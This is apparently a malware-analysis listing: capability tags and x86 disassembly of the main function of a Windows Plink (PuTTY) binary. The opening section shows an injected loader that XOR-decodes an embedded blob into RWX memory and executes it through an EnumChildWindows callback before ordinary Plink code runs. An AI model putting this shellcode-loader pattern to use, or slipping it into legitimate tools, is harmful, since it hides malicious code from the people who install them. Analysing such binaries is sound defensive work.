Function at 0x442e00
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1e70
call fcn.00448f40
mov eax, dword [0x4ba7e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.0043f5a0
push 0x1e16
lea eax, [ebp - 0x1e1c]
mov dword [ebp - 0x1e54], 0
push str.MMMMe
push eax
mov dword [ebp - 0x1e64], 0
mov dword [0x4bd47c], 3
mov dword [0x4bd478], 0x16
mov dword [0x4bd480], 2
call fcn.00449f40
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
push str.kernel32.dll
call esi
push str.user32.dll
mov edi, eax
call esi
push str.VirtualProtect
push edi
mov dword [ebp - 0x1e4c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, eax
lea eax, [ebp - 0x1e60]
mov dword [ebp - 0x1e60], 0
push eax
push 0x40
push 0x1e15
push edi
call esi
test eax, eax
jne 0x442edf
push 4
push 0x1000
push 0x1e15
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x1e60]
push eax
push 0x40
push 0x1e15
push edi
call esi
mov bl, byte [ebp - 0x1e1c]
lea esi, [ebp - 0x1e1c]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x1e15
nop
mov al, byte [esi + ecx]
nop
nop
nop
lea ecx, [ecx + 1]
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x442ef7
push str.EnumChildWindows
push dword [ebp - 0x1e4c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.004032c0
push eax
push 0
mov dword [0x4bc058], eax
call fcn.0040a500
push 2
push dword [0x4bc058]
mov dword [0x4bd474], 0
call fcn.004030c0
push 1
push dword [0x4bc058]
mov dword [0x4bd47c], eax
call fcn.004030c0
push str.PLINK_PROTOCOL
mov dword [0x4bd478], eax
call fcn.00478195
add esp, 0x1c
test eax, eax
je 0x442fb6
push eax
call fcn.0040a460
add esp, 4
test eax, eax
je 0x442fb6
mov ecx, dword [eax + 0x48]
push ecx
push 2
push dword [0x4bc058]
mov dword [0x4bd47c], ecx
mov eax, dword [eax + 0x4c]
mov dword [0x4bd478], eax
call fcn.00403560
push dword [0x4bd478]
push 1
push dword [0x4bc058]
call fcn.00403560
add esp, 0x18
push dword [0x4bc058]
call fcn.00405850
add esp, 4
test eax, eax
je 0x4436b7
cmp dword [0x4bd474], 0
je 0x4436b7
push 0
push dword [0x4bc058]
call fcn.00403120
push eax
call fcn.00405a10
mov edi, eax
push 0x49ba58
push edi
call fcn.004693d0
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x44302d
push 0x40
push esi
call fcn.0044a4c0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x44302d
push esi
push 0x34
push dword [0x4bc058]
mov byte [ebx], 0
call fcn.004035c0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.00405d00
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x443052
lea eax, [ebx + 1]
push 0x3a
push eax
call fcn.00405d00
add esp, 8
test eax, eax
jne 0x443052
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x443073
nop word [eax + eax]
cmp al, 0x20
je 0x44306b
cmp al, 9
je 0x44306b
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x443060
push edi
push 0
push dword [0x4bc058]
mov byte [ecx], 0
call fcn.004035c0
push edi
call fcn.00406080
push dword [0x4bc058]
call fcn.00402b30
push 0x14
push dword [0x4bc058]
call fcn.00403120
add esp, 0x1c
cmp byte [eax], 0
jne 0x4430db
push 0x15
push dword [0x4bc058]
call fcn.00403120
add esp, 8
cmp byte [eax], 0
jne 0x4430db
push 0x2e
push dword [0x4bc058]
call fcn.00403120
add esp, 8
cmp byte [eax], 0
jne 0x4430db
or dword [0x4bd480], 4
push 2
push dword [0x4bc058]
call fcn.004030c0
push eax
call fcn.0040a4d0
add esp, 0xc
mov dword [0x4bc050], eax
test eax, eax
jne 0x44312a
push str.Internal_fault:_Unsupported_protocol_found_n
push 2
call fcn.00467535
add esp, 4
push eax
call fcn.00404780
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00448c15
mov esp, ebp
pop ebp
ret 0x10
call fcn.00440a50
cmp dword [0x4bd434], 0
jne 0x44313f
push str.Plink_requires_WinSock_2_n
jmp 0x4430ff
push 2
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
cmp eax, 3
jne 0x4431ac
push 0x95
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
test eax, eax
jne 0x4431ac
push 0x1d
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
test eax, eax
jne 0x4431ac
push eax
push 0x9b
push dword [0x4bc058]
call fcn.00403150
add esp, 0xc
test eax, eax
jne 0x4431ac
push 1
push 0xa9
push dword [0x4bc058]
call fcn.00403560
add esp, 0xc
push dword [0x4bc058]
push 0
call fcn.00404860
push eax
mov dword [0x4bd43c], eax
call fcn.0043dc40
add esp, 0xc
cmp dword [0x4bd428], 0
je 0x4431df
push str.Running_with_restricted_process_ACL
push 0
call fcn.0043dc60
add esp, 8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 7
push dword [0x4bc058]
mov dword [0x4bd450], eax
call fcn.004030c0
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 8
test eax, eax
je 0x443221
push 0xfffffffffffffff6
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 2
jne 0x443221
lea esi, [eax - 1]
jmp 0x443223
xor esi, esi
push 8
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
push eax
push esi
lea eax, [ebp - 0x1e4c]
push eax
push 1
push dword [0x4bc058]
call fcn.004030c0
add esp, 8
push eax
push 0
push dword [0x4bc058]
call fcn.00403120
add esp, 8
push eax
push dword [0x4bc058]
mov eax, dword [0x4bc050]
push 0x4bc054
push 0
mov eax, dword [eax]
call eax
add esp, 0x20
test eax, eax
je 0x443299
push eax
push str.Unable_to_open_connection:_n_s
push 2
call fcn.00467535
add esp, 4
push eax
call fcn.00404780
add esp, 0xc
jmp 0x443112
mov eax, dword [0x4bc050]
push dword [0x4bd43c]
push dword [0x4bc054]
mov eax, dword [eax + 0x34]
call eax
push dword [ebp - 0x1e4c]
call fcn.00406080
add esp, 0xc
push 0xfffffffffffffff6
call edi
push 0xfffffffffffffff5
mov dword [0x4bd46c], eax
call edi
push 0xfffffffffffffff4
mov dword [0x4bd468], eax
call edi
push 0x4bd454
push dword [0x4bd46c]
mov dword [0x4bd464], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 1
push dword [0x4bd46c]
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
push 0x443bb0
push dword [0x4bd468]
call fcn.0043ee10
push 0
push 0
push 0x443bb0
push dword [0x4bd464]
mov dword [0x4bd45c], eax
call fcn.0043ee10
add esp, 0x20
mov dword [0x4bd458], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, ebx
mov dword [0x4bc05c], eax
mov dword [ebp - 0x1e4c], ebx
call esi
mov edi, eax
nop dword [eax]
test ebx, ebx
jne 0x44338f
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x28]
call eax
add esp, 4
test eax, eax
je 0x44338f
push ebx
push ebx
push 0x443aa0
push dword [0x4bd46c]
call fcn.0043ebc0
add esp, 0x10
mov dword [0x4bd460], eax
mov dword [ebp - 0x1e4c], 1
call fcn.00401300
test eax, eax
je 0x4433a2
xor esi, esi
mov dword [ebp - 0x1e5c], edi
jmp 0x4433d5
lea eax, [ebp - 0x1e5c]
push eax
push edi
call fcn.0043c2e0
add esp, 8
test eax, eax
je 0x4433d2
call esi
mov esi, dword [ebp - 0x1e5c]
mov edx, eax
mov ecx, esi
sub eax, edi
sub ecx, edi
cmp eax, ecx
jbe 0x4433ce
xor esi, esi
jmp 0x4433d5
sub esi, edx
jmp 0x4433d5
or esi, 0xffffffff
lea eax, [ebp - 0x1e50]
push eax
call fcn.0043e9f0
mov ecx, eax
mov eax, dword [ebp - 0x1e50]
push 4
inc eax
push eax
push ecx
call fcn.00406150
mov ecx, dword [ebp - 0x1e50]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x4bd450]
mov dword [ebp - 0x1e6c], ebx
push 8
push esi
mov dword [ebx + ecx*4], eax
mov eax, dword [ebp - 0x1e50]
push 0
push ebx
inc eax
push eax
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ecx, eax
mov eax, dword [ebp - 0x1e50]
mov dword [ebp - 0x1e70], ecx
cmp ecx, eax
jae 0x443442
push dword [ebx + ecx*4]
call fcn.0043eaa0
add esp, 4
jmp 0x44356d
jne 0x44358c
lea eax, [ebp - 0x1e58]
xor esi, esi
push eax
call fcn.0043ffc0
add esp, 4
cmp eax, 0xffffffff
je 0x443475
nop
lea eax, [ebp - 0x1e58]
inc esi
push eax
call fcn.00440150
add esp, 4
cmp eax, 0xffffffff
jne 0x443460
cmp esi, dword [ebp - 0x1e64]
jle 0x4434a1
lea eax, [esi + 0x10]
push 4
push eax
push dword [ebp - 0x1e54]
mov dword [ebp - 0x1e64], eax
call fcn.00406150
mov edi, eax
add esp, 0xc
mov dword [ebp - 0x1e54], edi
jmp 0x4434a7
mov edi, dword [ebp - 0x1e54]
lea eax, [ebp - 0x1e58]
xor esi, esi
push eax
mov dword [ebp - 0x1e68], esi
call fcn.0043ffc0
add esp, 4
cmp eax, 0xffffffff
je 0x4434e1
mov dword [edi + esi*4], eax
lea eax, [ebp - 0x1e58]
push eax
inc esi
call fcn.00440150
add esp, 4
cmp eax, 0xffffffff
jne 0x4434c3
mov dword [ebp - 0x1e68], esi
xor ebx, ebx
test esi, esi
jle 0x443567
nop dword [eax + eax]
mov edi, dword [edi + ebx*4]
lea eax, [ebp - 0x1e48]
push eax
push 0
push edi
call dword [0x4bd42c]
test eax, eax
jne 0x44355c
push edi
call fcn.00442690
push dword [ebp - 0x1e48]
call fcn.00442690
add esp, 8
xor esi, esi
nop dword [eax]
mov edx, dword [esi + 0x4aad98]
test dword [ebp - 0x1e48], edx
je 0x44354e
mov eax, dword [esi + 0x4aad94]
movzx ecx, word [ebp + eax*4 - 0x1e44]
shl ecx, 0x10
movzx eax, dx
or ecx, eax
push ecx
push edi
call fcn.004401c0
add esp, 8
add esi, 8
cmp esi, 0x30
jb 0x443520
mov esi, dword [ebp - 0x1e68]
mov edi, dword [ebp - 0x1e54]
inc ebx
cmp ebx, esi
jl 0x4434f0
mov ebx, dword [ebp - 0x1e6c]
call fcn.004012c0
cmp dword [ebp - 0x1e70], 0x102
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x4435eb
mov edi, dword [ebp - 0x1e5c]
jmp 0x4435ef
inc eax
cmp ecx, eax
jne 0x44356d
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
lea eax, [ebp - 0x1e38]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
je 0x44356d
mov esi, dword [ebp - 0x1e2c]
push dword [esi + 0xc]
mov eax, dword [esi]
push dword [esi + 8]
push dword [esi + 4]
call eax
push esi
call fcn.00406080
add esp, 0x10
lea eax, [ebp - 0x1e38]
push 1
push 0x8004
push 0x8004
push 0xffffffffffffffff
push eax
call edi
test eax, eax
jne 0x4435b2
jmp 0x44356d
call esi
mov edi, eax
push ebx
call fcn.00406080
mov ebx, dword [ebp - 0x1e4c]
add esp, 4
test ebx, ebx
je 0x443621
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x10]
call eax
push eax
push dword [0x4bd460]
call fcn.0043f0d0
add esp, 0xc
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x20]
call eax
add esp, 4
test eax, eax
jne 0x443350
push dword [0x4bd458]
call fcn.0043e8f0
push dword [0x4bd45c]
mov esi, eax
call fcn.0043e8f0
add esp, 8
add esi, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
jne 0x443350
mov eax, dword [0x4bc050]
push dword [0x4bc054]
mov eax, dword [eax + 0x24]
call eax
add esp, 4
test eax, eax
jns 0x443699
push str.Remote_process_exit_code_unavailable_n
push 2
call fcn.00467535
add esp, 4
push eax
call fcn.00404780
add esp, 8
mov eax, 1
push eax
call fcn.0043d970
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.00448c15
mov esp, ebp
pop ebp
ret 0x10
call fcn.00443ce0
int3